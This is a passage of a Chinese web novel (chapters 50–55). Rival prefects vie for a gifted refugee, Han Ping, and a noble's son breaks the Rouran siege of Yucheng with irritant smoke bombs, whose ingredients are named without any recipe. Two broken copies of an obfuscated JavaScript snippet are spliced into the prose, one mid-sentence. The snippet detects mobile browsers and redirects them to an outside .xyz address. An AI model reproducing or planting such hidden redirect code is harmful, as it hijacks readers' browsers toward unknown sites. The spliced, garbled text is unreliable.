伯爵夫人顿时不悦：“你一个大家闺秀，怎么可以出入工坊？那里面可都是逃荒的人。” 自己的闺女和饥民站在一块，怎么看都太别扭了。 名声也不好听，将来怎么联姻啊？ “我也不想，韩平执意如此。” “要不母亲去和他说说？” 料定了母亲不敢见韩平，谢京珠撒谎不眨眼。 果然，伯爵夫人头摇得像拨浪鼓：“他既然有需要，你便去吧，只是，万不可和他扯上什么瓜葛，尤其不能让他占你的便宜，知道吗？” 谢京珠：“我有什么便宜？” 伯爵夫人：“你……你快给你父亲写一封信，告知他路斯道参我的事，也好有个准备。” …… 琴川知州府。 知州陈文灿看着刺史府下发的文书，百般的不得劲。 当年考进士的时候，他可是位列三甲，堂堂探花郎。 现在琴川乱成一团，灾民已经冲破了三个大户人家，吓得很多富庶人家，惊慌逃窜。 富人一走，找不到可抢的，灾民怕是要抢夺府衙了。 他苦思冥想，半点办法也无。 本想着，大家都是束手无策，谁也说不着谁。 哪知道，隔壁嘉陵城的庄典和袁郛，竟然想到了办法，还受到了刺史的褒奖。 “走！咱们去看看，庄典和袁郛是怎么欺世盗名的。” “他们两个区区三甲同进士出身，我还不信了。” 陈文灿带着通判张素臣，以及三班衙役，浩浩荡荡出发，就想看看嘉陵和琴川，能有什么区别。 嘉陵如果更惨，他心里也能舒服点。 第50章 抢人 第五十章 抢人 不怪陈文灿瞧不起庄典，袁郛。 就像人和人不一样，进士和进士也不一样。 一甲只有三名，状元，榜眼，探花，名副其实的天之骄子，通常是直接进翰林院的，是陈文灿主动要求的下放。 在地方上干出政绩，打得基础牢，将来前途会更远大。 光看称号，就千差万别，一甲叫做进士及第，光明正大，堂堂皇皇。 二甲叫进士出身，三甲叫同进士出身。 打个比方，一甲的意思：优秀的人；二甲：是个人；三甲：像个人。 三甲有一种勉为其难的气氛，虽然你不行，但怪可怜的，就给你吧。 每当陈文灿这么说的时候，通判张素臣都格外庆幸，幸好自己是二甲，不然可惨了。 跟着探花知州，通判的权力便自动小很多。 特别是，陈文灿不管是政务能力，还是司法，监察，确实都是一把好手，典型的学霸，聪明透顶，他只管听从便是。 陈文灿着急，快马加鞭的，一行人很快来到了嘉陵和琴川的边界。 没有蝗灾的时候，琴川在各方面，都压着嘉陵一头。 但今日刚到边界，陈文灿便察觉到了不对劲，路上有不少饥民，聚在一起，竟然在商量，去哪儿吃饭。 这？ 有饭吃就不错了，你们还挑？ “去伯爵府喝粥吧，那粥老稠了。” “可知州府的粥棚，听说有菜团子，我想吃点干的呢。” “有是有，想吃到菜团子不容易，得干活，要么得挖野菜来换，要么得收集墙根土。” “墙根土？这玩意有啥用？” “刚来的吧？这是韩先生要的，所以知州也帮忙。” “唉！如果能进工坊，那就好了，昨个酿酒坊的人吃肉了，我堂哥的表弟，整整吃了三大块，那叫一个香哦。” …… 听到吃肉，十几个饥民一片唏嘘，他们太久没有品尝过肉的滋味了。 之所以需要商量，主要是因为，伯爵府的粥棚和知州府的粥棚，距离太远了，去其中一个，便赶不上另一个。 互相交换了信息，一群人分散成两拨，喝粥的喝粥，吃菜团子的吃菜团子。 虽然都是饿得皮包骨头，但精神头都很好，不像琴川的灾民，处在饥饿狂暴的边缘，动不动就是打砸抢。 “伯爵府那么大方？竟然施粥。” “庄典就不怕，粮仓里的粮食吃完了，往后没法-办？” “墙根土和工坊又是什么？” 最近一直在想赈灾，安抚饥民的事，陈文灿无暇他顾，对这些事情，统统不知道。 他是个精明的人，发现异常，更加机密行事，换上了便服，属下也都装成普通过路人。 不多会，来到嘉陵城，老远就看到有一条长长的队伍。 排队的都是灾民。 他们有的站着，有的躺着，稍微离开一会，还要用块石头占住位置。 陈文灿看得头晕，急忙上去询问：“你们不是逃荒的吗？怎么还有钱买东西？” 看他不是插队的，好几个人正闲得无聊，乐得给他解惑。 “我们哪里有钱啊，只是帮有钱的财主们排队。” “韩先生的阎罗醉，每个人限购两坛，不排队买不到。” “有钱人就是会赚钱，在这里买一千文一斤，转手卖到四千文，五千文。” “都是韩先生太忠厚老实了，那么好的酒，只卖一千文。” …… 什么酒啊，一千文一斤！ 就算是极好的女儿红，也不过五十来文，就这，还忠厚老实？ 如果不是实地考察，陈文灿指定不能信。 至于说蒙骗，财主的钱，能是好骗的？ 骗一个两个行，那么多人呢。 再一问，这些排队的灾民，只要能买到阎罗醉，便能获得两文钱的报酬。 排队也能赚钱，真是怪异。 有些人根本是拖家带口的排队，大太阳底下晒着，受不住，还让自己婆娘孩子换班，你排一会，我排一会，积极的不得了。 马上又有人说起去工坊的事，只要是灾民，人人都盼着进工坊。 什么工坊啊，需要那么多人？ 知道所有的一切，都和一个名叫韩平的人有关。 询问了工坊的位置，他还没看到影子呢，嘉陵城当差的衙役，有认识他的，看了他一眼，撒腿就跑。 一盏茶的功夫都没有，嘉陵城的知州庄典，通判袁郛，带着一帮子捕快，呼啦把路堵住了，来势汹汹的模样。 庄典皮笑肉不笑：“陈知州怎么那么有空，竟然来我们嘉陵闲逛，是有什么事吗？” 韩平的存在，会让嘉陵的政绩异军突起，在这个灾情爆发的节骨眼，其他地方，早就糜烂了。 唯有嘉陵蒸蒸日上，今年的税收比丰年都要高。 这种秘密必须尽可能的守住，韩平这个人，更是要牢牢把握住，既怕贼偷，也怕贼惦记。 “庄知州，听说你们这里有个韩先生，济世安民，建造工坊，收容了许多灾民，本官最喜欢结交的，便是此等贤达，所以过来拜访。怎么？莫非庄知州要阻拦我吗？” 对方这么兴师动众，陈文灿心底更是明亮。 果然庄典，袁郛这两个三甲废材啥也不是，是别人找到了救济灾民的办法。 关键就在这个韩平的身上。 “非也非也，不是本官要阻拦，只是这一代盗匪猖獗，正在严查，所以闲杂人等，不得通过，还请陈知州多多体谅。 不如，我不去琴川，你也别来嘉陵，咱们还是相忘于江湖吧。” 嘉陵最大的秘密，能让你知道吗？ 到手的前途和飞黄腾达，又怎么能拱手让给你？ 庄典都想到了，将来的某一天，他已经是刺史了，陈文灿还是知州，到那时，岂不是美妙至极？ “庄知州这个话未免太见外了，咱们怎么也是一榜同年，如果不介意的话，我想叫你一声年兄。” 一般来说，同榜进士之间的关系，格外亲近，年兄年弟之间互相提携，互相进步，也是士林佳话。 之前庄典不是没想过，和陈文灿处好关系，奈何陈文灿根本看不上他这个三甲出身。 现在图谋不轨，提什么年兄年弟，庄典的白眼，快要翻到天上。 作为三甲赐同进士出身，他也格外的不愿意和别人叙年。 哦，你探花，我三百名开外，放在一块，不就显着你这个探花吗？ 我是傻子啊我搭理你。 “别，别，别……咱们没有那么熟稔，我也知道琴川现在面临的难题。” “要不我把嘉陵的粥棚，摆在琴川，多少也帮你一把。” “就这样吧。” 庄典只想把陈文灿赶走，最好永不相见。 陈文灿笑笑：“那可太感谢年兄了，既然年兄这里不方便，我便回了。” 装出打道回府的样子，一离开了嘉陵的地界，陈文灿面沉似水：“事关重大，你们立刻调查这个韩先生，到底何许人也，我也这里立等！” 第51章 先斩后奏 第五十一章先斩后奏 韩平的来路，要想查清楚，实在没什么难度，不到一个时辰，各种信息汇总到了陈文灿的跟前。 “只身一人深-入土匪窝，把土匪全部消灭，这是武勇。” “能够建立工坊，容纳两万人，酿出来的酒水，卖到一千文一斤，还那么多人喊便宜，这是经营之才。” “至于诗词文章，更是惊世骇俗。” “上天怎么不开眼啊，如此人才，竟然出现在嘉陵！庄典，袁郛不过是三甲废材，他们也配啊？” 越了解，陈文灿的眼睛越红。 他有经世之才，太明白，在眼下这个灾荒年月，两万多人每天有工钱，是对一州稳定，能起到多大的作用。 两万多人背后，是两万多个家庭，他们有了钱，就会花钱，进而养活更多人。 最厉害的是，不管是嘉陵还是琴川，都不缺有钱人，特别是那些勋贵，他们积攒了将近两百年的老钱，根本花不完的。 关键，怎么才能让他们掏钱。 韩平提供高价美酒这个法子，太高明了。 让勋贵，财主，大商贾都主动花钱，还有人看这美酒奇货可居，进行倒卖。 这一下卷进来的人，就更多了。 也就是说，阎罗醉只管酿出来，有人专门负责销售。 嘉陵，琴川有钱人多，却还不能和京城比，光靠一个阎罗醉，能养活的灾民，便很难估计了。 那些排队的灾民，他们不也受益了吗？ “禀告知州，韩先生虽然是在嘉陵建造工坊，可他本人的名籍在马蹄沟。” “马蹄沟是咱们琴川的地界。” 属下差役看陈文灿咬牙切齿，好像要**一样，急忙说出韩平和琴川的关联，从地理从属上，这是事实。 虽然马蹄沟距离嘉陵城更近。 “真的吗？” “千真万确，韩先生是从马蹄沟逃难来到嘉陵的，先在谢伯爵府做庄仆，后来成了三少爷的客卿。” 得到这个消息，陈文灿眼珠子快要瞪出来，双手握拳，恨恨不已：“两个三甲废材，焉敢抢夺我琴川才子？真是岂有此理！” 嗯？ 包括通判张素臣在内的所有人，都懵了。 正常年月，名籍是非常重要的，想要更改名籍极其艰难，不光是职业固定的缘故，比如农户只能种地，铁户只能打铁，还有归属地的问题。 你是琴川的农户，就不能去嘉陵种地。 只是灾荒年，无法讲究这些。 很多人的名籍户贴什么的，早就丢掉了，就剩下个名字，到哪儿便是哪儿的人。 各州的官府都怕人多，从来没有把逃户抓回的。 “知州，这不算抢夺吧，分明是韩先生主动去的。” 张素臣忍不住提醒。 他看出来了，陈文灿想把韩平挖走，可看庄典，袁郛的架势也知道，人家绝对不会答应的。 更不要说，是用这种歪理了。 “那又如何？韩先生说到底，是琴川人。” “待我上一道禀文，把此人要回，咱们琴川也要开工坊喽，哈哈哈……” 在众人惊异的目光中，陈文灿轻描淡写地给刺史府行文，只说要从嘉陵追回一名逃户，名叫韩平，然后便盖章，让马快送上去。 能在州府当差的，谁是傻子？ 他们瞬间就明白了，陈文灿这是先让冯刺史批准，这么点事，又是合乎法度的，刺史府不可能不批准。 但只要一批准，那就上当了。 嘉陵知州庄典怎么也不可能把韩平让给琴川，但问题是，冯刺史都批准了，你庄典是要抗命吗？ 反正陈文灿这把连上司都坑，不用问也知道，如果冯刺史知道里面的内情，肯定不会批准的。 当批令下来，可以想象，琴川和嘉陵，必然有一场龙争虎斗。 眼瞅着，谁抢到韩平，谁就能度过眼前难关，谁就能有辉煌政绩，两边只怕把脑花子打出来，也不会让。 到时候冯刺史便作难了，拔出萝卜带出泥，刮下鱼鳞带走鳍，向着谁都不好。 “还有一点，我料定那两个三甲废材，肯定没想到。” “八坨子山最近闹得越发大了，在嘉陵损兵折将，怎么会罢休？” “所有人出动，想尽一切办法，给我弄清楚，八坨子山有什么报复手段。” “弄清楚这个的，不管你有没有功名，我都会破格拔擢，是吏，则当官，是官则平升一级。” “话又说回来，谁要敢在中间坏我的事，甚至给嘉陵的三甲废材通风报信，哼哼……杀无赦。” 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但牵扯到如何以工代赈，如何繁荣商贸，他们都是大而化之，就是不说具体的事。 没办法，他只好再次行文，让庄典和袁郛说清楚。 唉！ 有这样的属下，真是累人。 冯云程接着看下一份禀文，是琴川的，他本以为，还是会看到陈文灿哭穷。 同样是知州，也是不一样的。 陈文灿是探花，在京城有后台，就是冯云程也不愿意轻易得罪。 所以想着，如果陈文灿继续哭穷呢，那就多少给琴川拨点粮食。 哪知道打开禀文一看，人家根本没提粮食，只是要从嘉陵追回一名叫韩平的逃户。 以律法而论，琴川名籍的人，本来就不应该生活在嘉陵，必须呆在琴川。 冯云程想了再想，还是觉得，这是再小也没有的小事，在批注上写了四个字：“自当如此。” **的是，就因为这四个字，将酝酿出巨大的风暴。 琴川和嘉陵的争夺，会打到三法司，打到皇上跟前。 第52章 重甲骑兵 第五十二章重甲骑兵 越朝的运输主要靠马匹，日行八百的宝马太过稀有，能日行三百的，便是顶好的，伯爵府的马，顶好的。 快马加鞭，从嘉陵到渔阳城，四五日便可到。 谢翼圣带了太多东西，是赶着马车前行，偶尔还要歇脚，所以到达渔阳城，足足用了十二日。 他是武将世家出身，最基本的侦查还是知道的。 柔然大军说是围困渔阳城，却不是全包围，而是非常经典的围三缺一。 他们并不想攻城，只希望守备将军谢朝乘能够带着军民离开。 他们想要的，是这一处关卡，如此才可以继续向着越朝中心挺-进。 这样才能进可攻，退可守。 如果绕过渔阳城进攻阳关城，很可能腹背受敌。 因此，柔然人主要采取的策略是恫吓，嘲笑，谩骂，不时派出纵横天下的重甲骑兵，在渔阳城下耀武扬威，打击渔阳城守军的士气。 有人从渔阳城出去，他们不会拦。 只是许出不许进，意思简单，攻城伤亡太大，他们要把渔阳城耗成一座空城。 对这种经典的战略，谢翼圣在兵书上看过，明白没有严丝合缝的包围，如果就他一个人，冲到渔阳城下，不是难事。 关键是他带着玄龟上人，带着那么多东西呢。 “上人，我现在需要和我大哥取得联系，好让他打开城门。” “你能不能飞过去？” 想着玄龟上人，都能驾驭天雷了，腾云驾雾什么的，应该也不是难事吧。 哪知道，玄龟上人黑着脸，不停摇头： “三少爷说笑了，我能驱使天雷，不过是祈祷上天，雷公得令，方才降下天雷，本人并无飞行术法。” 上人也是受限制的，那没办法，谢翼圣只好看向了秦明虎：“明虎，你骑着飒露紫，到渔阳城通报，告诉大哥，我自有办法到达城下，他只管给我开门便是。” “得令！” 秦明虎顶盔贯甲，骑上名马飒露紫，背着弓箭，手拿马槊，从拗口跑出，霹雳一般，直奔渔阳城。 有人想进来，顿时惊动了柔然骑兵。 重骑兵速度不行，轻骑兵从好几个方向围堵。 噗，噗，噗…… 面对堵截，秦明虎长驱直入，谁拦杀谁，手中马槊足足二十八斤，加上人马的惯性，那是挡者披靡。 柔然人看出他凶猛，只是远远射箭，对此，秦明虎就没有太好的办法，只是低着头，纵马狂奔。 好几枚箭矢扎在盔甲之上，不顾生死，终于来到渔阳城下。 “我乃谢伯爵三子谢翼圣属下秦明虎，速速开城！” 城门打开，又关上，等秦明虎刚一进去，就被几杆**给逼住了，只有一个人，管你真假，抓了再说。 军士绑缚之后，送到了守备将军谢朝乘跟前。 “明虎，你怎么来了？” 谢朝乘十分不解，面带忧心，莫非家里出了什么事？ 如今大越王朝不光有外患，还有内忧。 蝗灾之下，**四起，嘉陵也是遭灾的地方，他一直在担心家中出了变故。 “大少爷，三少爷前来解救渔阳城，令我先行通报。” 别人叫将军，秦明虎是伯爵府的人，习惯了叫大少爷，并不觉有什么不妥。 他刚一说完，谢朝乘还有他手下的副守备，千总都乐了。 渔阳城驻守大军一万八千余人，这还没算城中居民，谢朝乘带着一帮狻猊彪兵，拼死维持，朝廷大军没有等来，竟然等来了谢翼圣。 一个没有打过仗，没有出过远门的二世祖。 过家家呢？ “明虎，你自己也是经过军阵的，你自己信吗？” “我信，因为三少爷带来了嘉陵第一大才玄龟上人，带着第二大才韩先生准备的武器。” 太过花哨的东西，秦明虎不懂，但八坨子山的十九个土匪，确实是韩平一个人杀干净的。 玄龟上人也确实做到了空杯来水。 两个大才呢，会没有一个管用的？ “三弟有心了，我很是感动，但解救渔阳城这样的话，还是不要说了。” “你不知道，为了守住渔阳城，我们死掉了多少兄弟。” “这么轻飘飘地说出来，是对他们的不尊重。” “你走吧，告诉小圣，本将军和渔阳城同在，不会玷污谢氏门楣，不会辜负圣上重用。” 说到最后一句，谢朝乘语气中，多了几许悲凉。 渔阳城城池坚固，粮草颇丰，但就像无源之水一般，每天都在干涸一点点，早晚撑不住的。 他坐镇此城，身家性命早就和此城融为一体。 不管是为江山社稷，还是为了谢家安危，他 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重甲骑兵全身披重甲，而且是最好的盔甲，连马都披着甲胄，只有小腿和马眼外露，马眼外还设计了防箭的眼罩，完全是一座移动堡垒，又叫铁浮屠。 能当上重甲骑兵的人，都是优中选优，军饷丰厚不说，每餐都要有肉食供应。 所以个个身强力壮，往往**一扫，连杀好几名步兵。 柔然人本身就擅长射箭，人人能开重弓，如果距离靠近，还有梭镖可以投掷，再近便是的重甲骑兵本人了。 按照消耗银钱算，一个重甲骑兵约等于一整个五十人步兵小队。 “不瞒大少爷，三少爷还真有办法。” 秦明虎依旧是不卑不亢。 谢朝乘和手下又笑了，他们都无法面对的重甲骑兵，一个没打过仗的纨绔子弟，坐着马车能通过？ 这不送死吗？ “别胡扯了，你赶紧带着老三回去。” 面容憔悴的谢朝乘，有点不耐烦了。 秦明虎坚定如恒：“大少爷，回不去了，此时此刻，三少爷已经在冲锋的路上。” 他刚说完，外面喊杀声震天，重甲骑兵特有的震地感，身在城内的人，也感受得一清二楚。 谢朝乘火冒三丈，这个三弟，简直不知死活。 现在怎么办？ 难道就看着三弟被柔然人的重装奇兵，踩踏成泥？ 第53章 胜仗 第五十三章胜仗 谢朝乘穿上鲜明披挂，带着手下将领来到城墙之上，面色忧虑地张望。 他当然不想看谢翼圣**死，可作为一城主将，他的安危，关系到整座城池的安危，他虽然才二十六岁，但他没有任性的权利。 也不知道怎么想的，谢翼圣带着一队人马，竟然走的还是入城的直道，光是车子就带了十几辆，隐约能看到，上面还有一坛一坛的酒水。 柔然人一队重装骑兵，两队轻骑兵，像个口袋一样，从三面围堵了上去。 因为重装奇兵特别珍贵，一个小队只有十名，可就是这十名，面对上百名步兵，也是虐杀的姿态。 “将军，这样下去，令弟必死无疑，属下愿领一军，前往驰援。” “天天被柔然人痛骂，我早就想干他们了。” “今天大战一场，也让将军的家人看看我们的厉害。” “咱们久不出战，柔然人真把咱们当软脚虾了。” …… 千总们纷纷要求出战，谢朝乘皱着眉头，右手放在剑柄上，有那么一瞬间，他想下令，和柔然**战一场。 但很快，理智便占据了上风。 柔然人为什么那么有恃无恐？ 无他，柔然大军就是比越朝的强，逞强的结果，必然是败亡，他的责任是守住渔阳城。 如果柔然人拿下渔阳城，便可直逼阳关，过了阳关就是京城。 谢翼圣的命重要，谢家满门的命更重要，一万八千多名将士的命，更重要，渔阳城中不愿离去的老百姓的命，更重要。 “住口！” “谁敢再提出战，军法处置！” “我弟鲁莽，是他命中该绝，与人无尤。” 主将的重要作用，就是在这种时候拿主意。 他大声呵斥，稳住了属下，虎目中的忧虑和悲伤，却是无法掩饰。 谢家三个儿子，谢翼圣最小，得全家人的疼爱，尤其是母亲，这谢翼圣简直是溺爱，哪里也不让去，去哪儿都觉得危险。 这也导致，谢翼圣虽然读书挺多，却都是纸上谈兵，全无实际经验。 想来，他知道渔阳城危在旦夕，便靠着一股子少年豪气，奔赴而来…… 唉！ 轻轻地叹息，谢朝乘无法再去评价。 说到底，还是谢翼圣挂念自己，兄弟同心，眼见他将要湮灭于柔然大军之中，心中如何不痛？ “一！二！三！” “扔！” 就在城上众人面带惨痛时，城下的谢翼圣突然大叫了起来。 随之，他还有他手下的护卫，手里拿着个圆圆的东西，用铁皮包着，就着特制的大火折子，点燃了，扔向了柔然重甲骑兵，轻装骑兵。 轰！ 噗！ 先是一阵轻微的**声，接着浓重的烟雾，乍然腾起，淹没了柔然骑兵。 “哎哟！我的眼睛！” “我看不见了，南蛮子果然狡猾。” “好辣！好疼！水，哪里有水？” “快快闭上眼睛！咳咳咳……他奶奶的，这是什么东西？” …… 柔然人的骑兵，顿时人仰马翻。 他们号称是马背上的民族，精通骑射，问题是，他们从来没有遇到过这种打法。 从来烟雾的作用是示警，比如烽火台，放狼烟，眼前的烟雾格外离奇，有一股子刺鼻的气味不说，进眼睛辣眼睛，进嗓子辣嗓子。 不光人，马也受不了，眼睛疼痛，发狂乱跑。 谢翼圣几十个人，把柔然人的上百骑兵给碾压了，没打，对面输了。 这是怎么话说的呢？ 城墙上的众军士懵逼，面面相觑，然后一起看向了谢朝乘。 “哦，我明白了，原来将军一直在戏耍我等。” “将军骗得我好苦！” “谢将军，令弟是绝世奇才这件事，你怎么从来没说过呀？” “汗颜，汗颜啊，我研读三韬五略多年，全无用处，果然是我天赋不行。” “他叫谢翼圣是吧？哇呀呀……真乃天人也。” “这莫非是传说中是云雾战法？” “不对！柔然军不光是看不见，他们还很痛苦，这雾怕是有毒。” “妙哉妙哉，任他柔然重甲骑兵防御何等周密，也防不住烟雾啊。” “伯爵府出来的人，果然个个不简单，依我看这谢家三少，更是出类拔萃，卓然不凡。” “柔然军阵中，谢家三少闲庭信步，悠悠然而来，壮哉！美哉！男儿大丈夫，当如是也。” …… 赞颂，崇拜之声，不绝于耳。 谢朝乘差点闪了腰，这是我那个好吃懒做，提笼架鸟，斗鸡走狗的三弟？ 莫非树大自直，随着年龄增长，他已经改去了曾经的毛病，刻苦向学，遍访名师，所以才有这神妙战法？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535338|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>弟弟牛逼，老哥脸上也有光。 他骄傲不已：“不瞒各位，吾弟从小聪慧，我也不知，他已成长到这般境地。” 看着柔然人满地打滚，有的从马背上摔了下来，有的闭着眼睛，无头苍蝇一样踉跄乱跑，副守备，千总们兴高采烈。 天天受柔然人的气，这回算是出气了。 “将军，令弟扔出的那是什么宝贝啊？” “我也发现了，关键就在这宝贝上，它能冒毒烟。” “在这我都闻到了，一股浓烈的辣味，当真是奇绝呀。” …… 有这么一件武器，扔出去，柔然人捂着眼睛，在地上打滚，别管什么重甲骑兵，都没个鸟用。 谁不想要啊？ “我也不知，不过它属实是个大宝贝。” 艰难守城，谢朝乘早已经是疲惫不堪，如今看到了别一番的景象，偏偏又是自己三弟所为，那真是荣耀**。 他见谢翼圣扔完大宝贝，竟然不去**，而是继续赶着马车往城门这边走，急忙大叫：“开门！开门！众将，随我杀敌！” 被毒烟伤了眼睛的柔然人，已经不是溃兵了，而是砧板上的鱼，不杀对不起手中刀。 何况，杀了他们之后，那什么马匹啊，甲胄啊，兵器啊，都有用呢。 他领头冲了出去，不过几个瞬息，便来到柔然人跟前，此刻烟雾刚刚散去，空气中残留的一点，依旧让人眼睛不适。 “杀！” “**吧，狗**！” “重甲骑兵你奶奶个腿啊，噗！” …… 死在柔然大军手上的同袍太多了，越朝这边的甲士早就恨之入骨，**干净利索，杀完人，把马匹，甲胄，兵器也都带走。 这边动静异常，柔然坐镇的大军马上派出了两个千人队，骑着骏马，飞驰而来。 “撤！” “快撤！” “三少爷，快走。” …… 士卒们第一次见到谢翼圣，就觉得倍感亲切。 谢朝乘更是大喊：“小圣，柔然大军来了，东西别要了，快随我入城。” 渔阳城外面，足足有五万柔然大军，越朝这边不敢纠缠。 谢朝乘想着，杀死那么多柔然人，抢夺了盔甲，马匹，兵器，赚大发了。 谢翼圣不这么想啊，他亲眼见识到了**的厉害，有点飘：“区区柔然大军而已，怕什么？” 第54章 韩平之名，响彻军营 第五十四章韩平之名，响彻军营 哈？ 这是我的那个吃喝玩乐的无能弟弟？ “过来两千多人呢！怎么打？” “看我的吧！” 谢翼圣现在的状态，非常亢-奋。 都说柔然大军何等的可怕，亲自过来一看，简直土鸡瓦狗，插标卖首。 看来，不是柔然大军厉害，是自己这位大哥水平不行。 眼看着柔然轻骑兵汹涌而来，他不急不躁，指挥着手下，沿着直道两边，扔**。 轰！噗！ 轰！噗！ 轰！噗！ 好家伙的，道路两边直接升起了烟雾屏障，柔然人再多也不行，他们如果穿过烟雾，他们和他们的马就会进入失明状态。 吃一堑长一智，柔然人也知道烟雾厉害，不敢靠近，只是漫无目标地射箭。 有烟雾阻挡视线，哪里射得中？ 谢翼圣带着马车不急不缓地驰入城中。 “风！风！风！” 城内将士纷纷大喊，这是得胜归来的庆祝口号。 每次和柔然人对战，总是吃瘪，今天好嘛，一个人没死，杀了好几十个柔然人，其中还有十名重甲骑兵。 毫无疑问，全靠谢翼圣。 “今日大胜，杀马庆祝！” 谢朝乘高兴得不得了，有几匹马中箭了，杀了吃肉，大家伙太久没有这么高兴过了。 不管军士还是百姓，都是大肆庆祝，谢朝乘则带着谢翼圣回到了自己的阃幕，也就是将军帐。 阃幕和帷幄基本是一个意思，但阃这个字，有门槛的意思，所以也带着驻扎在外行军的含义。 伯爵府出身，亲兄弟也要讲究礼节，分宾主坐下，渔阳城的千总们站一排，谢翼圣的人站一排。 “三弟，刚才那是什么宝贝？怎地如此厉害？快拿过来，给大家看看。” 有新武器了，谢朝乘已经在想，如何在战场上使用这件大宝贝。 他一直以来面对的最大难题，便是难以破开柔然重甲骑兵的防御，现在总算有办法了。 可以明确无误的，对柔然的重甲骑兵阵，会有奇效。 “你说这个吗？” “大哥，此乃**，里面含有硝酸钾，辣椒素，以及白糖，各位也都看到了，释放出来，十分歹毒。” 谢翼圣那是得意洋洋，尤其看到，大哥和他的手下，都是狗看星星，不明所以的神情，更是爽爆了。 他要的就是这个。 当时他第一次听到这些词的时候，也是懵逼冒烟，现在好啦，该别人懵逼冒烟了。 “三弟，歹毒我是看出来了，你说的什么硝酸钾，辣椒素，白糖，从来没听说过啊。” 服了！ 光是听到这陌生的词语，谢朝乘就觉得，自己这三弟，那真是进益了。 谢翼圣让手下拿出白糖：“大哥，这便是白糖了，你尝尝。” 吃的？ 用吃的造武器？ 新鲜了。 他看这白糖，粒粒分明，十分美观，谨慎地捏了一点，放进嘴里。 甜！ 给副守备，千总们都尝尝，纷纷喊甜，他们很久没有吃过白糖了。 “还有这个，你们也尝尝。” 谢翼圣又拿出了辣椒素，就模样看，辣椒素也是白色晶体，除了颗粒小点，和白糖十分相像。 前面吃着不错，谢朝乘没了提防，又捏了点放进嘴里。 “咳咳咳……这个味道……十分猛烈。” “都尝尝，都尝尝。” 知道被弟弟坑了，那就不能只自己一个人倒霉。 接着是副守备，他尝了之后，舌头都麻了，无法说话，一个劲地点头，接着给下一个。 本着有难同当的原则，等最后一个千总尝了，谢朝乘才急忙把嘴里的东西吐了，各种漱口。 其他人也是一个鬼样子。 等稍微恢复，都满脸复杂地看着谢翼圣，不是绝世奇才吗？怎么有点不正经的样子？ “哈哈哈……这个便是辣椒素了，吃是可以吃的，是你们吃法错了。” “大哥，正好我也饿了，给大家都弄碗面条，里面放上这辣椒素，你们就知道什么叫好吃了。” 不急！ 这就是谢翼圣的心态，我的厉害你们已经见识到了，到底为什么这么厉害，就得慢慢说了。 渔阳城的粮食还是充足的，不一会，人人面前有了冒着辣气的面，但没有人吃，都看着谢翼圣。 呲溜！ 谢翼圣老实不客气，他已经适应了辣椒素，吃起来十分享受。 其他人就不同了，刚开始无法适应，但被辣了之后吧，就觉得很舒服，反正是说不清。 等一碗面吃完，方才有种意犹未尽的感觉，好像还能再吃三碗。 “好吃！” “盛夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535339|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季节，不思饮食，有了这辣椒素，将士们的胃口，便开了。” “三弟，你果真是出息了。” “这些到底是跟谁学的？必得好好拜谢人家。” 走上仕途之后，谢朝乘就发现，想要学点真东西，没有门路的，人家的看家本事，非亲非故的，谁教啊？ 很明显，谢翼圣是学到真本事了。 “哈哈哈……我在嘉陵城，笼络了两名大才，分明是嘉陵第一才子和嘉陵第二才子。” “这**，白糖，辣椒素，都是第二才子韩平韩安之所制。” “哦，对了，还有美酒呢，上酒。” 谢翼圣如数家珍地铺排，谢朝乘等人目瞪口呆。 不说别的，光是一个**，就是个大杀器来的。 越朝那么多战法，就没有一个，能够有效地对付重甲骑兵，**偏偏能够克制，说这位韩平韩安之是才子，谁也没有意见。 至于白糖，辣椒素，也都是有用的好玩意。 可怕的是，这才是第二才子，那第一，不得上天啊？ 他们目不转睛，就见谢翼圣倒了一碗酒，拿出火折子一点，哗啦，酒着了，冒着淡蓝色的火焰。 接着他又倒了一碗，喝了几口，喟叹不已：“大哥，这也是韩先生酿制的，乃天下第一烈酒阎罗醉。各位，都尝尝！” 好像主人一样，谢翼圣吩咐手下斟酒。 不管是谢朝乘还是千总们，都有点怯，能点着的酒，得多烈啊，别把肚子烧穿了。 但看谢翼圣都喝了，他们也不好意思不喝。 “啧啧啧……不愧是天下第一。” “哎哟，我才喝两口，已经醉了。” “这可是好东西，兄弟们辛苦，正需要此等烈酒！” “我服这位韩先生了，怎么做到的，把酒酿得如此凶暴。” …… 打仗的人，几乎没有不喜欢喝酒的，所谓醉卧沙场君莫笑，古来征战几人回？ 这都是在论的。 今天活着，明天就可能死，这种压力之下，不喝酒很难排遣。 “三弟，第二才子的东西，还有吗？” “如果没有的话，给我介绍下第一才子的。” 谢朝乘突然看到了一条，从来没想过的光辉大道，他现在，只想知道更多，其他将士，也是目光炯炯。 还有更牛叉的是吧？ 今天可是要一饱眼福了。 第55章 第一才子？屁！ 第五十五章第一才子？屁！ “别急，第二才子的宝贝，还有一件。” “此乃酒精，对轻伤非常有效，涂抹在伤口，可以防止伤口溃烂。” 像开百宝箱一样，谢翼圣又拿出来一个小瓶子。 呼！ 谢朝乘听到这，站起，快走几步，把小瓶子夺了过去：“你说它能防止伤口溃烂？” “是啊！” 谢翼圣不明白，大哥为什么那么激动。 其他将士也都围了过来，有的直接脱衣服：“给我试试，三天前我挨了一箭，至今没好。” 打仗，伤兵是巨大的拖累。 任是怎样残暴的将军，也不敢说抛弃伤兵。 